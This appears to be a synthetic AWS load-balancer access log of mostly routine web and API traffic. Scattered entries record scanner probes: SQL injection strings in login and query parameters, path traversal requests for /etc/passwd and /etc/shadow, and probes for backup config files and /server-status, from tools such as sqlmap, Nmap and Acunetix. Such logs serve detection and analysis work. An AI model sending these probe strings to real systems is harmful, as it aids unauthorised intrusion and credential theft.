403 333 14576 "GET /admin/login?username=admin'--&password=x HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d6dc-b76747fa792c4447a7791094" "-" "-" 7 2024-11-01T02:13:32.305387Z "forward" "-" "-" "10.0.103.229:443" "403" "-" "-" -https 2024-11-01T02:13:33.430088Z prod-web-alb 114.134.201.206:22611 10.0.73.175:443 0.087054 0.168297 0.024608 301 301 161 1878 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d6dd-1cfd88f786c84c53a9e72130" "prod-web-alb.example.com" "-" 6 2024-11-01T02:13:33.430088Z "forward" "-" "-" "10.0.73.175:443" "301" "-" "-" -https 2024-11-01T02:13:34.462261Z prod-api-alb 170.109.192.190:64264 10.0.216.23:443 0.004074 0.192947 0.003629 200 200 155 445 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d6de-baa98eaeafb7416d98cf99c0" "prod-api-alb.example.com" "-" 1 2024-11-01T02:13:34.462261Z "forward" "-" "-" "10.0.216.23:443" "200" "-" "-" -https 2024-11-01T02:13:35.367208Z staging-alb 187.240.208.14:17621 132.142.58.6:80 0.106529 0.719367 0.008510 200 200 50 3188 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d6df-ca016a4aa7a44e1c9e306d7d" "staging-alb.example.com" "-" 6 2024-11-01T02:13:35.367208Z "forward" "-" "-" "132.142.58.6:80" "200" "-" "-" -https 2024-11-01T02:13:36.287404Z prod-api-alb 133.174.14.182:39257 10.0.70.229:443 0.031823 0.258995 0.043621 302 302 597 13422 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d6e0-5bf53d172f1c4ad58f9c43ce" "prod-api-alb.example.com" "-" 0 2024-11-01T02:13:36.287404Z "forward" "-" "-" "10.0.70.229:443" "302" "-" "-" -http 2024-11-01T02:13:37.155762Z staging-alb 173.132.49.16:12873 99.223.73.210:8080 0.057024 0.622057 0.110583 200 200 789 2158 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d6e1-6e4a7fbdea814836be519633" "staging-alb.example.com" "-" 5 2024-11-01T02:13:37.155762Z "forward" "-" "-" "99.223.73.210:8080" "200" "-" "-" -https 2024-11-01T02:13:38.547491Z prod-web-alb 87.16.133.40:10030 10.0.125.243:443 0.071840 0.221790 0.001598 302 302 355 5027 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d6e2-baba427102ee46708ca372d8" "prod-web-alb.example.com" "-" 4 2024-11-01T02:13:38.547491Z "forward" "-" "-" "10.0.125.243:443" "302" "-" "-" -http 2024-11-01T02:13:39.585819Z staging-alb 120.231.171.214:14408 175.195.22.222:8080 0.049467 0.378736 0.040425 302 302 654 6026 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d6e3-00c74cba65604af8b4506208" "staging-alb.example.com" "-" 4 2024-11-01T02:13:39.585819Z "forward" "-" "-" "175.195.22.222:8080" "302" "-" "-" -https 2024-11-01T02:13:40.109577Z prod-api-alb 70.105.230.210:51290 10.0.72.44:443 0.074718 0.091831 0.085078 200 200 10 1811 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d6e4-f4ef28f605e84fe89d91bc14" "prod-api-alb.example.com" "-" 6 2024-11-01T02:13:40.109577Z "forward" "-" "-" "10.0.72.44:443" "200" "-" "-" -https 2024-11-01T02:13:41.880928Z prod-api-alb 66.93.123.156:48087 10.0.47.202:443 0.054656 0.382946 0.042821 200 200 650 5587 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d6e5-956945470b684d03b704a873" "prod-api-alb.example.com" "-" 7 2024-11-01T02:13:41.880928Z "forward" "-" "-" "10.0.47.202:443" "200" "-" "-" -http 2024-11-01T02:13:43.241772Z staging-alb 185.181.230.236:33236 164.39.167.161:80 0.111591 0.585473 0.055949 403 403 667 6884 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d6e7-39d045dafdf747fba6f3b91a" "-" "-" 3 2024-11-01T02:13:43.241772Z "forward" "-" "-" "164.39.167.161:80" "403" "-" "-" -https 2024-11-01T02:13:44.617839Z prod-web-alb 110.209.93.116:28597 10.0.78.74:443 0.000616 0.246781 0.021864 404 404 59 914 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6e8-14dbdcf666f045bf80ccd48a" "prod-web-alb.example.com" "-" 6 2024-11-01T02:13:44.617839Z "forward" "-" "-" "10.0.78.74:443" "404" "-" "-" -http 2024-11-01T02:13:45.154643Z staging-alb 94.236.214.166:40692 39.231.179.163:80 0.120391 0.473096 0.121188 404 404 647 5813 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d6e9-b69395e89035483d9c72523a" "staging-alb.example.com" "-" 7 2024-11-01T02:13:45.154643Z "forward" "-" "-" "39.231.179.163:80" "404" "-" "-" -https 2024-11-01T02:13:45.991370Z prod-api-alb 28.24.3.221:55433 10.0.195.8:443 0.037072 0.470502 0.057585 200 200 950 4725 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d6e9-a2ed237a2b134fac8615253d" "prod-api-alb.example.com" "-" 2 2024-11-01T02:13:45.991370Z "forward" "-" "-" "10.0.195.8:443" "200" "-" "-" -https 2024-11-01T02:13:47.135419Z prod-api-alb 52.95.177.155:43933 10.0.196.19:443 0.077169 0.191692 0.061541 200 200 336 5203 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d6eb-7f27a4b44c3b499db8c8a331" "prod-api-alb.example.com" "-" 0 2024-11-01T02:13:47.135419Z "forward" "-" "-" "10.0.196.19:443" "200" "-" "-" -https 2024-11-01T02:13:48.734623Z staging-alb 174.56.80.240:17051 15.140.63.50:80 0.117449 0.660620 0.058182 200 200 191 4039 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d6ec-3a44d20c77ab485a96be8368" "staging-alb.example.com" "-" 7 2024-11-01T02:13:48.734623Z "forward" "-" "-" "15.140.63.50:80" "200" "-" "-" -https 2024-11-01T02:13:49.787178Z prod-web-alb 202.191.151.86:38487 10.0.109.230:443 0.015228 0.494611 0.057916 200 200 645 10357 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6ed-4f27ef2f8d1049468ec5c468" "prod-web-alb.example.com" "-" 1 2024-11-01T02:13:49.787178Z "forward" "-" "-" "10.0.109.230:443" "200" "-" "-" -https 2024-11-01T02:13:50.832108Z prod-web-alb 194.129.95.230:27959 10.0.235.78:443 0.038831 0.467880 0.087640 200 200 317 7037 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6ee-7cf6f30847a74744961dfc8a" "prod-web-alb.example.com" "-" 7 2024-11-01T02:13:50.832108Z "forward" "-" "-" "10.0.235.78:443" "200" "-" "-" -https 2024-11-01T02:13:51.182232Z prod-web-alb 14.108.211.16:36522 10.0.255.215:443 0.090520 0.418409 0.036380 200 200 781 5898 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d6ef-a47ab5aa363a4c23b6298310" "prod-web-alb.example.com" "-" 7 2024-11-01T02:13:51.182232Z "forward" "-" "-" "10.0.255.215:443" "200" "-" "-" -https 2024-11-01T02:13:53.008395Z prod-api-alb 185.181.67.46:16967 10.0.127.144:443 0.020650 0.017655 0.004837 404 404 737 14673 "GET /images/../../../../etc/shadow HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d6f1-e80ddda26d6d4abb8f6614b4" "-" "-" 7 2024-11-01T02:13:53.008395Z "forward" "-" "-" "10.0.127.144:443" "404" "-" "-" -https 2024-11-01T02:13:54.606019Z prod-api-alb 82.124.176.240:55895 10.0.251.54:443 0.096780 0.029388 0.005119 404 404 328 3491 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d6f2-b77a9fdd040c45ae8fa26c75" "prod-api-alb.example.com" "-" 1 2024-11-01T02:13:54.606019Z "forward" "-" "-" "10.0.251.54:443" "404" "-" "-" -https 2024-11-01T02:13:54.986001Z prod-web-alb 10.93.5.63:16785 10.0.222.234:443 0.088027 0.055693 0.026188 200 200 627 1523 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d6f2-ef15e384fe2245e6a4346a05" "prod-web-alb.example.com" "-" 5 2024-11-01T02:13:54.986001Z "forward" "-" "-" "10.0.222.234:443" "200" "-" "-" -https 2024-11-01T02:13:56.554117Z staging-alb 132.250.79.229:14502 170.161.187.172:8080 0.089912 0.310454 0.142758 200 200 495 6544 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d6f4-74ab1b3c293f4c7398b74abc" "staging-alb.example.com" "-" 8 2024-11-01T02:13:56.554117Z "forward" "-" "-" "170.161.187.172:8080" "200" "-" "-" -https 2024-11-01T02:13:57.054820Z prod-api-alb 59.22.143.84:53246 10.0.181.138:443 0.073731 0.379603 0.046904 302 302 677 13909 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d6f5-959d0090d8ca4764be27f5a3" "prod-api-alb.example.com" "-" 10 2024-11-01T02:13:57.054820Z "forward" "-" "-" "10.0.181.138:443" "302" "-" "-" -https 2024-11-01T02:13:58.386319Z prod-web-alb 45.155.205.9:40344 10.0.10.157:443 0.099828 0.320210 0.028713 301 301 883 10081 "POST /wp-config.php.bak HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6f6-41c2befda61040a6910a145c" "-" "-" 8 2024-11-01T02:13:58.386319Z "forward" "-" "-" "10.0.10.157:443" "301" "-" "-" -http 2024-11-01T02:13:59.991759Z staging-alb 244.0.64.130:53996 234.43.62.27:80 0.051829 0.607055 0.008175 404 404 414 3948 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d6f7-9ab26746c1334c20b489e7e0" "staging-alb.example.com" "-" 6 2024-11-01T02:13:59.991759Z "forward" "-" "-" "234.43.62.27:80" "404" "-" "-" -http 2024-11-01T02:14:01.161788Z staging-alb 96.32.193.243:23961 249.70.45.84:8080 0.143303 0.059660 0.029278 301 301 14 1476 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d6f9-c62699fa822544d78e447c43" "staging-alb.example.com" "-" 2 2024-11-01T02:14:01.161788Z "forward" "-" "-" "249.70.45.84:8080" "301" "-" "-" -https 2024-11-01T02:14:01.886331Z prod-web-alb 124.198.174.15:29876 10.0.40.88:443 0.061086 0.416977 0.059345 302 302 381 8919 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d6f9-01cf3bf04b774feb87ce816c" "prod-web-alb.example.com" "-" 8 2024-11-01T02:14:01.886331Z "forward" "-" "-" "10.0.40.88:443" "302" "-" "-" -https 2024-11-01T02:14:02.689114Z prod-api-alb 193.27.228.235:49037 10.0.230.112:443 0.046799 0.267357 0.007532 404 404 789 10476 "GET /../../../etc/passwd HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d6fa-5c247294a4b44e4490494f98" "-" "-" 5 2024-11-01T02:14:02.689114Z "forward" "-" "-" "10.0.230.112:443" "404" "-" "-" -http 2024-11-01T02:14:04.421862Z staging-alb 144.167.202.37:12614 187.148.24.161:443 0.124877 0.299104 0.095123 200 200 716 5074 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d6fc-985035b01b09494eb70de23a" "staging-alb.example.com" "-" 7 2024-11-01T02:14:04.421862Z "forward" "-" "-" "187.148.24.161:443" "200" "-" "-" -https 2024-11-01T02:14:05.103600Z prod-web-alb 210.254.87.207:40681 10.0.144.215:443 0.065092 0.119034 0.002633 302 302 983 8992 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d6fd-9b006c7ac1824707b2f0c356" "prod-web-alb.example.com" "-" 9 2024-11-01T02:14:05.103600Z "forward" "-" "-" "10.0.144.215:443" "302" "-" "-" -https 2024-11-01T02:14:06.961195Z staging-alb 188.26.126.180:54982 191.13.103.245:80 0.149353 0.654104 0.082728 200 200 583 9813 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d6fe-889d385fdf314a0aa2b53e8c" "staging-alb.example.com" "-" 9 2024-11-01T02:14:06.961195Z "forward" "-" "-" "191.13.103.245:80" "200" "-" "-" -https 2024-11-01T02:14:07.342230Z prod-web-alb 80.147.40.239:45481 10.0.106.34:443 0.041044 0.297359 0.065321 404 404 579 4889 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d6ff-6e36968349964828a68406bd" "prod-web-alb.example.com" "-" 5 2024-11-01T02:14:07.342230Z "forward" "-" "-" "10.0.106.34:443" "404" "-" "-" -https 2024-11-01T02:14:07.721602Z prod-api-alb 76.211.218.232:43427 10.0.234.189:443 0.084289 0.253674 0.066177 200 200 942 4752 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d6ff-1e8c7e02d8ff4bae9c244706" "prod-api-alb.example.com" "-" 6 2024-11-01T02:14:07.721602Z "forward" "-" "-" "10.0.234.189:443" "200" "-" "-" -https 2024-11-01T02:14:08.084795Z prod-web-alb 246.4.14.43:34673 10.0.159.111:443 0.044890 0.498442 0.031690 200 200 288 2300 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d700-da1c53efc6b44aabb2eed6a3" "prod-web-alb.example.com" "-" 5 2024-11-01T02:14:08.084795Z "forward" "-" "-" "10.0.159.111:443" "200" "-" "-" -https 2024-11-01T02:14:09.634404Z prod-api-alb 196.144.221.97:59336 10.0.73.234:443 0.019991 0.178748 0.016824 404 404 953 14073 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d701-a7dd8adb298f416fad22d82a" "prod-api-alb.example.com" "-" 5 2024-11-01T02:14:09.634404Z "forward" "-" "-" "10.0.73.234:443" "404" "-" "-" -https 2024-11-01T02:14:10.745849Z prod-api-alb 77.19.221.75:12421 10.0.113.16:443 0.036648 0.043687 0.072995 302 302 429 1604 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d702-e69a1a922bfd430e91845aab" "prod-api-alb.example.com" "-" 9 2024-11-01T02:14:10.745849Z "forward" "-" "-" "10.0.113.16:443" "302" "-" "-" -https 2024-11-01T02:14:12.730988Z prod-api-alb 112.183.176.190:32181 10.0.191.240:443 0.004939 0.494668 0.090633 200 200 682 777 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d704-87210eb46a3f4956b8831b16" "prod-api-alb.example.com" "-" 5 2024-11-01T02:14:12.730988Z "forward" "-" "-" "10.0.191.240:443" "200" "-" "-" -https 2024-11-01T02:14:13.552264Z staging-alb 19.158.205.177:21400 82.92.54.29:443 0.105008 0.717403 0.095168 200 200 163 2061 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d705-998ad1b11d894f98a71e646f" "staging-alb.example.com" "-" 2 2024-11-01T02:14:13.552264Z "forward" "-" "-" "82.92.54.29:443" "200" "-" "-" -https 2024-11-01T02:14:13.842873Z prod-api-alb 50.221.180.35:25648 10.0.219.127:443 0.088540 0.294705 0.035643 200 200 502 1159 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d705-86b4584ece044d4b91c9328d" "prod-api-alb.example.com" "-" 7 2024-11-01T02:14:13.842873Z "forward" "-" "-" "10.0.219.127:443" "200" "-" "-" -https 2024-11-01T02:14:14.831786Z prod-api-alb 219.8.126.163:32813 10.0.214.81:443 0.038125 0.488496 0.020018 200 200 140 3725 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d706-a6e9a8367853498daffd9567" "prod-api-alb.example.com" "-" 7 2024-11-01T02:14:14.831786Z "forward" "-" "-" "10.0.214.81:443" "200" "-" "-" -http 2024-11-01T02:14:16.240500Z staging-alb 86.168.143.203:14713 190.1.220.193:80 0.106205 0.086703 0.126006 200 200 26 2603 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d708-8eb61dd6ffe14072a1be70d4" "staging-alb.example.com" "-" 4 2024-11-01T02:14:16.240500Z "forward" "-" "-" "190.1.220.193:80" "200" "-" "-" -https 2024-11-01T02:14:17.326442Z staging-alb 251.12.132.235:55375 54.83.0.162:80 0.027988 0.214273 0.031288 200 200 903 6148 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d709-ac4de9d83bad436aa152cbad" "staging-alb.example.com" "-" 4 2024-11-01T02:14:17.326442Z "forward" "-" "-" "54.83.0.162:80" "200" "-" "-" -http 2024-11-01T02:14:17.715618Z staging-alb 99.205.241.107:42448 10.126.55.171:80 0.109874 0.180828 0.042476 302 302 563 9324 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d709-f2b803199b974cfca7976b06" "staging-alb.example.com" "-" 9 2024-11-01T02:14:17.715618Z "forward" "-" "-" "10.126.55.171:80" "302" "-" "-" -https 2024-11-01T02:14:19.695742Z staging-alb 45.155.205.14:21213 49.7.34.51:443 0.032241 0.564577 0.141663 404 404 651 1995 "GET /../../../etc/passwd HTTP/1.1" "Acunetix-Agent" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d70b-ab684e35e70348b7ac985500" "-" "-" 10 2024-11-01T02:14:19.695742Z "forward" "-" "-" "49.7.34.51:443" "404" "-" "-" -https 2024-11-01T02:14:20.173293Z staging-alb 122.129.17.165:15929 130.107.20.73:80 0.118584 0.685346 0.034089 200 200 451 12861 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d70c-d9eea64a221e4b09b95a11f4" "staging-alb.example.com" "-" 10 2024-11-01T02:14:20.173293Z "forward" "-" "-" "130.107.20.73:80" "200" "-" "-" -https 2024-11-01T02:14:20.660726Z staging-alb 185.181.119.128:28313 240.103.132.33:80 0.086429 0.253395 0.143089 500 500 239 9017 "POST /server-status HTTP/1.1" "python-requests/2.31.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d70c-ac37cb3cfaac43e8a83ad6a4" "-" "-" 4 2024-11-01T02:14:20.660726Z "forward" "-" "-" "240.103.132.33:80" "500" "-" "-" -https 2024-11-01T02:14:21.807379Z staging-alb 4.233.186.217:17344 161.64.163.225:8080 0.136435 0.310056 0.012789 200 200 723 3031 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d70d-3688ec08979b418da437df3e" "staging-alb.example.com" "-" 0 2024-11-01T02:14:21.807379Z "forward" "-" "-" "161.64.163.225:8080" "200" "-" "-" -https 2024-11-01T02:14:22.180684Z prod-web-alb 